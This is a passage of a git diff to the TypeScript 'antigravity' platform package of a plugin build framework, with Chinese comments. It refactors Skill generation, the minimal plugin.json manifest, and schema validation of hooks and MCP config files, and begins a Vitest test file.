PlatformPrepareContext): void { - /** 已经占用最终 ID 的首个规范 Component。 */ +/** 在任何 Asset 签发前拒绝 native/fallback Skill ID 的 exact、case 或 NFC 冲突。 */ +export function validateGeneratedSkillIds(project: CanonicalProject, diagnostics: DiagnosticService): boolean { + /** owners 使用最严格目标文件系统的 NFC/case-fold key。 */ const owners = new Map(); - for (const identity of generatedSkillIdentities(context.project)) { - /** 安装表面采用大小写不敏感的稳定冲突规则。 */ - const key = identity.id.toLocaleLowerCase('en-US'); - /** 已经占用同一最终 ID 的来源。 */ + /** valid 允许调用方在命名空间有歧义时完全跳过 Asset 创建。 */ + let valid = true; + for (const identity of generatedSkillIdentities(project)) { + /** canonical ID 当前为 ASCII,显式规范化仍固定未来来源的边界。 */ + const key = identity.id.normalize('NFC').toLowerCase(); + /** owner 是先占用相同最终 ID 的规范来源。 */ const owner = owners.get(key); if (owner !== undefined) { - context.reportDiagnostic({ + valid = false; + diagnostics.report({ code: 'ANTIGRAVITY_GENERATED_SKILL_ID_COLLISION', severity: 'error', message: `${owner.subject} and ${identity.subject} both generate Antigravity Skill ID "${identity.id}".`, @@ -75,75 +71,85 @@ export function validateGeneratedSkillIds(context: PlatformPrepareContext): void owners.set(key, identity); } } + return valid; } -/** - * 把规范 Commands、Skills 与 Agents 转换为 Antigravity Skills。 - * - * @param context Platform generateBundle 生命周期上下文。 - * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 - */ -export function generateComponentArtifacts(context: PlatformGenerateContext): ArtifactInput[] { - /** 当前 Platform 累计生成的 Component Artifact。 */ - const artifacts: ArtifactInput[] = []; - for (const skill of context.project.skills) { - artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ - name: skill.id, - description: skill.description, - }, skill.body))); - for (const auxiliary of skill.auxiliaryFiles) { - artifacts.push({ - path: `skills/${skill.id}/${auxiliary.path}`, - source: { type: 'file', path: auxiliary.sourcePath }, - mode: auxiliary.mode, - }); - } - context.reportCompatibility({ +/** 把 canonical Commands、Skills 与 Agents 转换为 Antigravity Skills。 */ +export async function createAntigravityComponents( + project: CanonicalProject, + assets: AssetService, +): Promise { + /** output 只包含 Platform 自有 bytes 和 Core 授权的 Skill auxiliary refs。 */ + const output: PackageAssetInput[] = []; + /** compatibility 精确描述每个 Component 的原生或 fallback 语义。 */ + const compatibility: CompatibilityInput[] = []; + for (const skill of project.skills) { + /** Skill 主文档使用 Antigravity 原生 Skill 结构。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ name: skill.id, description: skill.description }, skill.body), + origin: { operation: 'component-skill', subjects: [`skill:${skill.id}`] }, + }); + output.push(Object.freeze({ path: `skills/${skill.id}/SKILL.md`, asset })); + for (const auxiliary of skill.auxiliaryFiles) + output.push(Object.freeze({ path: `skills/${skill.id}/${auxiliary.path}`, asset: auxiliary.asset })); + compatibility.push(Object.freeze({ subject: `skill:${skill.id}`, capability: 'component', level: 'native', - reason: 'Antigravity plugins support Skills natively.', - }); + reason: 'Antigravity Plugins support Skills natively.', + })); if (!skill.invocation.user || !skill.invocation.model) { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `skill:${skill.id}`, capability: 'invocation', level: 'degraded', - transformation: 'The Skill remains available to both users and the model.', - reason: 'Antigravity has no verified independent user/model invocation switches.', - }); + transformation: 'invocation-switches-omitted', + reason: 'Antigravity has no verified independent user and model invocation switches.', + })); } } - - for (const command of context.project.commands) { + for (const command of project.commands) { /** Command 使用固定前缀进入统一 Skill 命名空间。 */ const id = `command-${command.id}`; - artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ - name: id, - description: command.description, - }, command.body.replaceAll('{{arguments}}', 'the arguments supplied with this explicit invocation')))); - context.reportCompatibility({ + /** 显式 Skill 通过调用指引保留 Command 参数语义。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter( + { name: id, description: command.description }, + command.body.replaceAll('{{arguments}}', 'the arguments supplied with this explicit invocation'), + ), + origin: { operation: 'component-command', subjects: [`command:${command.id}`] }, + }); + output.push(Object.freeze({ path: `skills/${id}/SKILL.md`, asset })); + compatibility.push(Object.freeze({ subject: `command:${command.id}`, capability: 'component', level: 'transform', - transformation: `Explicit Skill ${id}`, - reason: 'Antigravity plugins expose reusable prompt workflows as Skills.', - }); + transformation: `explicit-skill:${id}`.toLowerCase(), + reason: 'Antigravity Plugins expose reusable prompt workflows as Skills.', + })); + if (command.body.includes('{{arguments}}')) { + compatibility.push(Object.freeze({ + subject: `command:${command.id}`, + capability: 'arguments', + level: 'transform', + transformation: 'explicit-invocation-guidance', + reason: 'Antigravity Skills receive arguments through the invoking prompt.', + })); + } if (command.argumentHint !== undefined) { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `command:${command.id}`, - capability: 'argumentHint', + capability: 'argument-hint', level: 'degraded', - transformation: `Explicit Skill ${id} without argument hint UI`, + transformation: 'argument-hint-omitted', reason: 'Antigravity Skills have no verified Command argument hint field.', - }); + })); } } - - for (const agent of context.project.agents) { + for (const agent of project.agents) { /** Agent 使用固定前缀进入统一 Skill 命名空间。 */ const id = `agent-${agent.id}`; - /** 降级正文明确区分作者意图与平台无法强制的运行约束。 */ + /** guidance 明确标注平台无法强制的模型和 capability 意图。 */ const guidance = [ agent.body, '', @@ -151,33 +157,37 @@ export function generateComponentArtifacts(context: PlatformGenerateContext): Ar `Intended capabilities: ${agent.capabilities.join(', ') || 'none declared'}.`, 'Use this Skill as role guidance; Antigravity does not register it as a dedicated Agent.', ].join('\n'); - artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ - name: id, - description: agent.description, - }, guidance))); - context.reportCompatibility({ - subject: `agent:${agent.id}`, - capability: 'component', - level: 'degraded', - transformation: `Guidance-only Skill ${id}`, - reason: 'Antigravity plugin documentation does not define installable custom Agents.', - }); - context.reportCompatibility({ - subject: `agent:${agent.id}`, - capability: 'agent.model', - level: 'degraded', - transformation: 'The intended model class is preserved as guidance text.', - reason: 'A fallback Skill cannot enforce an Agent model selection.', + /** fallback Skill 由 Platform owner 签发。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ name: id, description: agent.description }, guidance), + origin: { operation: 'component-agent', subjects: [`agent:${agent.id}`] }, }); + output.push(Object.freeze({ path: `skills/${id}/SKILL.md`, asset })); + compatibility.push( + Object.freeze({ + subject: `agent:${agent.id}`, + capability: 'component', + level: 'degraded', + transformation: `guidance-skill:${id}`.toLowerCase(), + reason: 'Antigravity Plugin documentation does not define installable custom Agents.', + }), + Object.freeze({ + subject: `agent:${agent.id}`, + capability: 'agent.model', + level: 'degraded', + transformation: 'model-guidance', + reason: 'A fallback Skill cannot enforce an Agent model selection.', + }), + ); if (agent.capabilities.length > 0) { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `agent:${agent.id}`, capability: 'agent.capabilities', level: 'degraded', - transformation: 'The intended capabilities are preserved as guidance text.', + transformation: 'capability-guidance', reason: 'A fallback Skill cannot enforce an Agent capability boundary.', - }); + })); } } - return artifacts; + return Object.freeze({ assets: Object.freeze(output), compatibility: Object.freeze(compatibility) }); } diff --git a/packages/platforms/antigravity/src/index.ts b/packages/platforms/antigravity/src/index.ts index 3c8c038..c25a16e 100644 --- a/packages/platforms/antigravity/src/index.ts +++ b/packages/platforms/antigravity/src/index.ts @@ -1,30 +1,28 @@ -import { definePlatform, type AcpluginPlatform } from '@tokenroll/acplugin'; import { - generateComponentArtifacts, - validateAntigravityComponentFields, + definePlatform, + type AcpluginPlatform, +} from '@tokenroll/acplugin/sdk'; +import { + createAntigravityComponents, + validateAntigravityComponent, validateGeneratedSkillIds, } from './components.js'; import { - createManifestDocument, - serializeDocuments, + createPluginDocument, validatePlatformOptions, type AntigravityPlatformOptions, } from './manifest.js'; -import { validateAntigravityBundle } from './validator.js'; +import { validateAntigravityPackage } from './validator.js'; export type { AntigravityPlatformOptions } from './manifest.js'; /** Antigravity Platform 的稳定开放 ID。 */ export const PLATFORM_ID = 'antigravity' as const; + /** Antigravity Platform 实现的 Core API 版本。 */ export const PLATFORM_API_VERSION = '1' as const; -/** - * 创建独立且可由 Core 品牌校验的 Antigravity Platform。 - * - * @param options 当前 Platform 的严格度覆盖。 - * @returns Antigravity Plugin 交付实现。 - */ +/** 创建只通过 Package API 交付 Antigravity Plugin 的 Platform。 */ export function antigravity(options: AntigravityPlatformOptions = {}): AcpluginPlatform { validatePlatformOptions(options); return definePlatform({ @@ -33,25 +31,30 @@ export function antigravity(options: AntigravityPlatformOptions = {}): AcpluginP deliveryType: 'plugin', ...(options.strict === undefined ? {} : { strict: options.strict }), options: {}, - validateComponentFields: validateAntigravityComponentFields, - /** prepare 先验证 fallback Skill 命名空间,再创建最小 Manifest。 */ - prepare: (context) => { - validateGeneratedSkillIds(context); - return { documents: [createManifestDocument(context)], artifacts: [] }; - }, - /** generateBundle 只生成官方文档确认的根结构。 */ - generateBundle: context => ({ - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [ - ...context.artifacts, - ...generateComponentArtifacts(context), - ...serializeDocuments(context.documents), - ], + /** Antigravity 不声明 Node Runtime 能力,Core 对 Runtime 显式报告 unsupported。 */ + createSession: () => ({ + validateComponent: validateAntigravityComponent, + /** 在 Asset 创建前完成最终 Skill namespace 校验。 */ + async createPackage({ project, assets, diagnostics }) { + /** idsValid 防止 collision 诊断后继续签发有歧义的 Assets。 */ + const idsValid = validateGeneratedSkillIds(project, diagnostics); + /** components 只在最终命名空间无冲突时创建。 */ + const components = idsValid + ? await createAntigravityComponents(project, assets) + : { assets: Object.freeze([]), compatibility: Object.freeze([]) }; + /** manifest 始终使用 Core codec 生成最小官方 Document。 */ + const manifest = createPluginDocument(project.metadata); + return { + documents: [manifest.document], + assets: components.assets, + compatibility: components.compatibility, + metadata: manifest.metadata, + }; + }, + /** Core 自动继承 base 与 Hooks/MCP 的 add-only 根 Assets。 */ + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage: validateAntigravityPackage, }), - /** 最终候选使用内部严格 Schema 固定最小字段原则。 */ - validateBundle: validateAntigravityBundle, }); } diff --git a/packages/platforms/antigravity/src/manifest.ts b/packages/platforms/antigravity/src/manifest.ts index 5d57053..63c1a48 100644 --- a/packages/platforms/antigravity/src/manifest.ts +++ b/packages/platforms/antigravity/src/manifest.ts @@ -1,11 +1,9 @@ -import { - bytesArtifact, - stableJson, - type ArtifactInput, - type DraftDocument, - type JsonObject, - type PlatformPrepareContext, -} from '@tokenroll/acplugin'; +import type { + JsonObject, + MetadataDispositionInput, + PackageDocumentInput, + PluginMetadata, +} from '@tokenroll/acplugin/sdk'; /** Antigravity Plugin 清单的稳定逻辑 Document ID。 */ export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; @@ -13,20 +11,12 @@ export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; /** Antigravity Plugin 清单相对于安装根的固定路径。 */ export const PLUGIN_MANIFEST_PATH = 'plugin.json'; -/** Antigravity Platform 写入 Artifact 时使用的固定 owner。 */ -const PLATFORM_OWNER = 'platform:antigravity' as const; - /** 创建 Antigravity Platform 时可声明的公开选项。 */ export interface AntigravityPlatformOptions { - /** 覆盖当前 Platform 的兼容性严格度。 */ readonly strict?: boolean; } -/** - * 校验 Antigravity Platform 只接受已由官方文档确认的最小选项。 - * - * @param options 用户声明的 Platform 选项。 - */ +/** 校验 Antigravity Platform 只接受官方文档确认的最小选项。 */ export function validatePlatformOptions(options: AntigravityPlatformOptions): void { /** 当前只允许 Core strictness,不暴露猜测的 Manifest 字段。 */ const allowed = new Set(['strict']); @@ -38,68 +28,47 @@ export function validatePlatformOptions(options: AntigravityPlatformOptions): vo throw new TypeError('Antigravity strict must be a boolean.'); } -/** - * 报告统一元数据在最小 Antigravity Manifest 中的最终去向。 - * - * @param context Platform prepare 阶段的元数据报告出口。 - */ -function reportMetadata(context: PlatformPrepareContext): void { - context.reportMetadata({ - field: 'name', - disposition: 'emitted', - output: `${PLUGIN_MANIFEST_PATH}.name`, - reason: 'Antigravity plugin.json publicly documents the name field.', - }); - /** 除 name 外的统一字段均没有经过公开 Manifest 契约确认。 */ - const fields = ['version', 'description', 'displayName', 'author', 'homepage', 'repository', 'license', 'keywords'] as const; - /** field 表示当前可能被作者声明但必须省略的统一元数据。 */ - for (const field of fields) { - if (field === 'version' || field === 'description' || context.project.metadata[field] !== undefined) { - context.reportMetadata({ - field, - disposition: 'omitted', - reason: `Antigravity's public Plugin Manifest contract has not confirmed ${field}.`, - }); - context.reportDiagnostic({ - code: 'ANTIGRAVITY_METADATA_OMITTED', - severity: 'warning', - message: `Antigravity output omits metadata field "${field}" because it is not publicly documented.`, - fieldPath: [field], - }); - } +/** @returns 当前工程实际 metadata 的完整 emitted/omitted disposition。 */ +function metadataDispositions(metadata: PluginMetadata): readonly MetadataDispositionInput[] { + /** name 是公开契约中唯一确认的元数据字段。 */ + const outputs: [string, string | undefined][] = [['name', `${PLUGIN_MANIFEST_PATH}/name`]]; + /** version 与 description 必填但未被官方最小 Manifest 契约确认。 */ + outputs.push(['version', undefined], ['description', undefined]); + for (const field of ['displayName', 'homepage', 'repository', 'license'] as const) { + if (metadata[field] !== undefined) + outputs.push([field, undefined]); + } + if (metadata.author !== undefined) { + outputs.push(['author.name', undefined]); + if (metadata.author.email !== undefined) + outputs.push(['author.email', undefined]); + if (metadata.author.url !== undefined) + outputs.push(['author.url', undefined]); } + if (metadata.keywords.length > 0) + outputs.push(['keywords', undefined]); + return Object.freeze(outputs.map(([field, output]) => Object.freeze({ + field, + disposition: output === undefined ? 'omitted' as const : 'emitted' as const, + ...(output === undefined ? {} : { output }), + reason: output === undefined + ? `Antigravity's public Plugin Manifest contract has not confirmed ${field}.` + : 'Antigravity plugin.json publicly documents the name field.', + }))); } -/** - * 创建只包含官方文档确认 name 的 Antigravity Plugin Manifest。 - * - * @param context Platform prepare 生命周期上下文。 - * @returns 不向 Extension 暴露猜测字段的单一 Document。 - */ -export function createManifestDocument(context: PlatformPrepareContext): DraftDocument { - reportMetadata(context); - return { +/** 创建只含官方确认 name 且由 Core codec 序列化的 Plugin Document。 */ +export function createPluginDocument(metadata: PluginMetadata): { + readonly document: PackageDocumentInput; + readonly metadata: readonly MetadataDispositionInput[]; +} { + /** Antigravity 不需要 Manifest 字段贡献,Hooks/MCP 通过固定根 Asset add-only 交付。 */ + const document: PackageDocumentInput = Object.freeze({ id: PLUGIN_MANIFEST_ID, path: PLUGIN_MANIFEST_PATH, format: 'json', - owner: PLATFORM_OWNER, - value: { name: context.project.metadata.name } as JsonObject, - extensionPoints: [], - }; -} - -/** - * 将 Antigravity Plugin Document 序列化为 Artifact。 - * - * @param documents 当前 Platform Draft 中由 Core 冻结的完整文档列表。 - * @returns 固定根 plugin.json Artifact。 - */ -export function serializeDocuments(documents: readonly DraftDocument[]): ArtifactInput[] { - /** 按逻辑 ID 查找唯一 Plugin Manifest。 */ - const manifest = documents.find(document => document.id === PLUGIN_MANIFEST_ID); - if (!manifest || manifest.path !== PLUGIN_MANIFEST_PATH || manifest.format !== 'json') - throw new Error('Antigravity Platform Draft is missing its canonical Plugin Manifest Document.'); - if (documents.length !== 1) - throw new Error('Antigravity Platform received an unknown Document.'); - return [bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson(manifest.value))]; + value: { name: metadata.name } as JsonObject, + extensionPoints: Object.freeze([]), + }); + return Object.freeze({ document, metadata: metadataDispositions(metadata) }); } diff --git a/packages/platforms/antigravity/src/validator.ts b/packages/platforms/antigravity/src/validator.ts index 730a71f..bee232b 100644 --- a/packages/platforms/antigravity/src/validator.ts +++ b/packages/platforms/antigravity/src/validator.ts @@ -1,17 +1,139 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { PlatformValidateContext } from '@tokenroll/acplugin'; +import type { JsonValue, ValidatePackageContext } from '@tokenroll/acplugin/sdk'; import { PLUGIN_MANIFEST_PATH } from './manifest.js'; +/** Antigravity validator 只消费 SDK 的最终 Package candidate Context。 */ +type PlatformValidateContext = ValidatePackageContext; + +/** Antigravity 当前验证过的 Hook 事件。 */ +const HOOK_EVENTS = new Set(['SessionStart', 'SessionEnd', 'PreToolUse', 'PostToolUse', 'PreCompact']); + +/** Antigravity Hook matcher 分组允许的字段。 */ +const HOOK_GROUP_FIELDS = new Set(['matcher', 'hooks']); + +/** Antigravity command Hook Handler 允许的字段。 */ +const HOOK_HANDLER_FIELDS = new Set(['type', 'command']); + +/** Antigravity 远程 MCP descriptor 允许的字段。 */ +const MCP_SERVER_FIELDS = new Set(['type', 'url', 'headers']); + +/** Extension 配置中的稳定 MCP Server ID。 */ +const MCP_SERVER_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + +/** JSON 对象的运行时只读索引类型。 */ +type JsonRecord = Record; + +/** @returns 未知 JSON 值是否为非数组对象。 */ +function isRecord(value: unknown): value is JsonRecord { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + /** * 向 Core 提交 Antigravity 候选校验错误。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param code 稳定诊断码。 * @param message 不包含宿主绝对路径的错误信息。 */ -function report(context: PlatformValidateContext, code: string, message: string): void { - context.reportDiagnostic({ code, severity: 'error', message }); +function report( + context: PlatformValidateContext, + code: string, + message: string, + fieldPath?: readonly (string | number)[], +): void { + context.diagnostics.report({ code, severity: 'error', message, ...(fieldPath === undefined ? {} : { fieldPath }) }); +} + +/** 校验 Antigravity 根 `hooks.json` 的完整命令协议。 */ +function validateHooks(context: PlatformValidateContext, value: unknown): void { + if (!isRecord(value) || Object.keys(value).some(field => field !== 'hooks') || !isRecord(value.hooks)) { + report(context, 'ANTIGRAVITY_HOOK_CONFIG_INVALID', 'hooks.json must contain only a hooks event mapping.', ['hooks']); + return; + } + for (const [event, groups] of Object.entries(value.hooks)) { + /** 当前事件在根 Hook 配置中的字段路径。 */ + const eventPath = ['hooks', event]; + if (!HOOK_EVENTS.has(event)) { + report(context, 'ANTIGRAVITY_HOOK_EVENT_UNKNOWN', `Unknown Antigravity Hook event "${event}".`, eventPath); + continue; + } + if (!Array.isArray(groups) || groups.length === 0) { + report(context, 'ANTIGRAVITY_HOOK_GROUPS_INVALID', 'Each Hook event must contain matcher groups.', eventPath); + continue; + } + for (const [groupIndex, group] of groups.entries()) { + /** 当前 matcher 分组的字段路径。 */ + const groupPath = [...eventPath, groupIndex]; + if (!isRecord(group)) { + report(context, 'ANTIGRAVITY_HOOK_GROUP_INVALID', 'Hook matcher groups must be objects.', groupPath); + continue; + } + for (const field of Object.keys(group)) { + if (!HOOK_GROUP_FIELDS.has(field)) + report(context, 'ANTIGRAVITY_HOOK_GROUP_FIELD_UNKNOWN', `Unknown Antigravity Hook group field "${field}".`, [...groupPath, field]); + } + if (group.matcher !== undefined && (typeof group.matcher !== 'string' || group.matcher.trim().length === 0)) + report(context, 'ANTIGRAVITY_HOOK_MATCHER_INVALID', 'Hook matcher must be a non-empty string.', [...groupPath, 'matcher']); + if (!Array.isArray(group.hooks) || group.hooks.length === 0) { + report(context, 'ANTIGRAVITY_HOOK_HANDLERS_INVALID', 'Hook groups must contain command handlers.', [...groupPath, 'hooks']); + continue; + } + for (const [handlerIndex, handler] of group.hooks.entries()) { + /** 单个 command Handler 的字段路径。 */ + const handlerPath = [...groupPath, 'hooks', handlerIndex]; + if (!isRecord(handler)) { + report(context, 'ANTIGRAVITY_HOOK_HANDLER_INVALID', 'Hook handlers must be objects.', handlerPath); + continue; + } + for (const field of Object.keys(handler)) { + if (!HOOK_HANDLER_FIELDS.has(field)) + report(context, 'ANTIGRAVITY_HOOK_HANDLER_FIELD_UNKNOWN', `Unknown Antigravity Hook handler field "${field}".`, [...handlerPath, field]); + } + if (handler.type !== 'command' || typeof handler.command !== 'string' || handler.command.trim().length === 0) + report(context, 'ANTIGRAVITY_HOOK_COMMAND_INVALID', 'Hook handlers must declare a non-empty command.', handlerPath); + } + } + } +} + +/** 校验 Antigravity 根 `mcp_config.json` 的 remote-only MCP 协议。 */ +function validateMcp(context: PlatformValidateContext, value: unknown): void { + if (!isRecord(value) || Object.keys(value).some(field => field !== 'mcpServers') || !isRecord(value.mcpServers)) { + report(context, 'ANTIGRAVITY_MCP_CONFIG_INVALID', 'mcp_config.json must contain only an mcpServers mapping.', ['mcpServers']); + return; + } + for (const [id, candidate] of Object.entries(value.mcpServers)) { + /** 当前 MCP Server 的字段路径。 */ + const serverPath = ['mcpServers', id]; + if (!MCP_SERVER_ID_PATTERN.test(id) || !isRecord(candidate)) { + report(context, 'ANTIGRAVITY_MCP_SERVER_INVALID', 'MCP Server ids must use lowercase kebab-case and map to objects.', serverPath); + continue; + } + for (const field of Object.keys(candidate)) { + if (!MCP_SERVER_FIELDS.has(field)) + report(context, 'ANTIGRAVITY_MCP_FIELD_UNKNOWN', `Unknown Antigravity MCP field "${field}".`, [...serverPath, field]); + } + if (candidate.type !== 'http') + report(context, 'ANTIGRAVITY_MCP_TRANSPORT_INVALID', 'Antigravity MCP Server type must be http.', [...serverPath, 'type']); + if (typeof candidate.url !== 'string') { + report(context, 'ANTIGRAVITY_MCP_URL_INVALID', 'MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); + } else { + try { + /** 远程 MCP URL 不得包含用户信息。 */ + const url = new URL(candidate.url); + if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') + throw new TypeError('unsafe'); + } catch { + report(context, 'ANTIGRAVITY_MCP_URL_INVALID', 'MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); + } + } + if (candidate.headers !== undefined + && (!isRecord(candidate.headers) + || Object.entries(candidate.headers).some(([key, header]) => key.trim().length === 0 || typeof header !== 'string'))) { + report(context, 'ANTIGRAVITY_MCP_HEADERS_INVALID', 'MCP headers must map non-empty names to string values.', [...serverPath, 'headers']); + } + } } /** @@ -19,9 +141,9 @@ function report(context: PlatformValidateContext, code: string, message: string) * * @param context Platform 提供的已物化候选交付单元。 */ -export async function validateAntigravityBundle(context: PlatformValidateContext): Promise { - /** 当前候选交付单元的规范 Artifact 路径集合。 */ - const artifacts = new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); +export async function validateAntigravityPackage(context: PlatformValidateContext): Promise { + /** 当前候选 Package 的规范 Asset 路径集合。 */ + const assets = new Set(context.candidate.unit.assets.map(asset => asset.path)); try { /** 当前没有公开 Schema,内部严格规则只接受官方文档确认的 name。 */ const value: unknown = JSON.parse(await fs.readFile(path.join(context.candidate.root, PLUGIN_MANIFEST_PATH), 'utf8')); @@ -34,19 +156,21 @@ export async function validateAntigravityBundle(context: PlatformValidateContext } catch { report(context, 'ANTIGRAVITY_MANIFEST_READ_FAILED', 'plugin.json must contain the documented minimal JSON object.'); } - /** path 表示当前可选平台配置,存在时必须至少是 JSON 对象。 */ - for (const artifactPath of ['hooks.json', 'mcp_config.json']) { - if (!artifacts.has(artifactPath)) + /** path 表示当前可选平台配置,存在时必须满足对应完整协议。 */ + for (const assetPath of ['hooks.json', 'mcp_config.json']) { + if (!assets.has(assetPath)) continue; try { - /** Extension 配置由其 Adapter 生成,但仍由 Platform 做最终 JSON 对象校验。 */ - const value: unknown = JSON.parse(await fs.readFile(path.join(context.candidate.root, artifactPath), 'utf8')); - if (value === null || typeof value !== 'object' || Array.isArray(value)) - throw new TypeError('Configuration is not an object.'); + /** Extension 配置由其 Contributor 生成,但仍由 Platform 做最终协议校验。 */ + const value: unknown = JSON.parse(await fs.readFile(path.join(context.candidate.root, assetPath), 'utf8')); + if (assetPath === 'hooks.json') + validateHooks(context, value); + else + validateMcp(context, value); } catch { - report(context, 'ANTIGRAVITY_EXTENSION_CONFIG_INVALID', `${artifactPath} must contain a JSON object.`); + report(context, 'ANTIGRAVITY_EXTENSION_CONFIG_INVALID', `${assetPath} must contain a JSON object.`); } } - if ([...artifacts].some(artifact => artifact.startsWith('commands/') || artifact.startsWith('agents/'))) + if ([...assets].some(asset => asset.startsWith('commands/') || asset.startsWith('agents/'))) report(context, 'ANTIGRAVITY_UNDOCUMENTED_RESOURCE', 'Commands and Agents must be transformed into the documented skills/ tree.'); } diff --git a/packages/platforms/antigravity/test/platform.test.ts b/packages/platforms/antigravity/test/platform.test.ts index a0519f6..af5a75c 100644 --- a/packages/platforms/antigravity/test/platform.test.ts +++ b/packages/platforms/antigravity/test/platform.test.ts @@ -3,16 +3,13 @@ import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import { - bytesArtifact, - DeliveryUnitRegistry, - executeLifecycle, - resolveConfig, - stableJson, - withMaterializedDeliveryUnitCandidate, - type DiagnosticInput, - type ResolvedConfig, + defineExtension, + resolveKernelConfig, + runKernelBuildSession, + type AcpluginExtension, } from '@acplugin/core'; import { antigravity } from '../src/index.js'; +import { PLUGIN_MANIFEST_PATH } from '../src/manifest.js'; /** 测试结束后统一删除的临时工程根目录。 */ const temporaryRoots: string[] = []; @@ -30,84 +27,282 @@ interface AntigravitySchemaFixture { readonly properties: Readonly>; } -/** 创建只包含原生 Skill 的规范工程。 */ -async function createProject(): Promise { +/** 创建包含最小配置占位符且登记清理的工程。 */ +async function temporaryProject(): Promise { /** 当前用例独占的工程根目录。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-antigravity-platform-')); temporaryRoots.push(root); - await fs.mkdir(path.join(root, 'src/skills/review'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), '---\ndescription: Review a change.\n---\nReview the change.\n'); + await fs.mkdir(path.join(root, 'src'), { recursive: true }); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'export default {}\n'); return root; } -/** 解析仅包含 Antigravity Platform 的严格测试配置。 */ -function resolvedConfig(root: string): ResolvedConfig { - /** 最小 Plugin 元数据和单 Platform 的解析结果。 */ - const result = resolveConfig({ +/** 写入原生 Skill、转换 Command、fallback Agent 和 Skill 辅助文件。 */ +async function writeCompleteProject(root: string): Promise { + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/release.md'), `--- +description: Prepare a release. +argumentHint: environment +--- +Prepare release {{arguments}}. +`); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), '---\ndescription: Review a change.\n---\nReview the change.\n'); + await fs.writeFile(path.join(root, 'src/skills/review/references/checklist.md'), 'Review checklist.\n'); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), `--- +description: Review code. +model: capable +capabilities: [filesystem:read, search] +--- +Review code. +`); +} + +/** 执行只包含 Antigravity 的真实 Kernel v2 BuildSession。 */ +async function run(input: { + readonly root: string; + readonly platform?: ReturnType; + readonly extensions?: readonly AcpluginExtension[]; + readonly command?: 'validate' | 'inspect' | 'build'; + readonly commit?: boolean; +}) { + /** command 决定生命周期语义,commit 只允许 build 使用。 */ + const command = input.command ?? 'build'; + /** resolved 使用公开配置相同的 Kernel resolver。 */ + const resolved = resolveKernelConfig({ name: 'release-tools', version: '1.2.3', description: 'Release workflow tools.', - platforms: [antigravity()], - }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - expect(result.diagnostics).toEqual([]); - return result.config!; + public: false, + platforms: [input.platform ?? antigravity()], + extensions: input.extensions ?? [], + }, { + projectRoot: input.root, + configFile: path.join(input.root, 'acplugin.config.ts'), + command, + mode: 'production', + }); + expect(resolved.diagnostics).toEqual([]); + return (await runKernelBuildSession({ + config: resolved.config!, + frameworkVersion: 'test', + commit: command === 'build' && (input.commit ?? true), + })).report; +} + +/** 创建向 Antigravity 根 Package 追加固定配置 Asset 的测试 Extension。 */ +function rootContribution(input: { + readonly id: string; + readonly path: string; + readonly bytes: string; +}): AcpluginExtension { + return defineExtension({ + id: input.id, + apiVersion: '1', + resourceRoots: [], + /** 每轮创建独立的测试 Session。 */ + createSession: () => ({ + /** 空状态表示 Fixture 已发现。 */ + discover: () => ({}), + /** capability 声明要求 Contributor 完整覆盖。 */ + validate: (_context, state) => ({ + state, + subjects: [{ subject: `fixture:${input.id}`, capabilities: ['delivery'] }], + }), + /** bytes 只通过 Extension owner-scoped Asset Service 签发。 */ + build: async ({ assets }, state) => ({ + state: { + state, + asset: await assets.fromBytes({ + bytes: input.bytes, + origin: { operation: 'antigravity-fixture', subjects: [`fixture:${input.id}`] }, + }), + }, + }), + contributors: [{ + platform: 'antigravity', + platformApiVersion: '1', + /** Contributor 只追加自己的根 Asset 并覆盖自己的 tuple。 */ + contribute: (_context, built) => ({ + assets: [{ path: input.path, asset: built.asset }], + compatibility: [{ + subject: `fixture:${input.id}`, + capability: 'delivery', + level: 'native', + reason: 'The fixture is delivered through the Antigravity Package contribution contract.', + }], + }), + }], + }), + }); } afterEach(async () => { await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); }); -describe('Antigravity Platform', () => { - it('emits only the documented name field and matches the internal strict golden', async () => { - /** 只包含官方确认资源的规范工程。 */ - const root = await createProject(); - /** 经过 Platform 最终验证的构建结果。 */ - const result = await executeLifecycle({ - config: resolvedConfig(root), - /** 纯 Markdown Platform Fixture 不加载 TypeScript descriptor。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); +describe('Antigravity Platform Package API', () => { + it('emits only the documented manifest and converts all Components into the Skill tree', async () => { + /** root 包含 native、transform 和 degraded 三类 Component。 */ + const root = await temporaryProject(); + await writeCompleteProject(root); + /** relaxed 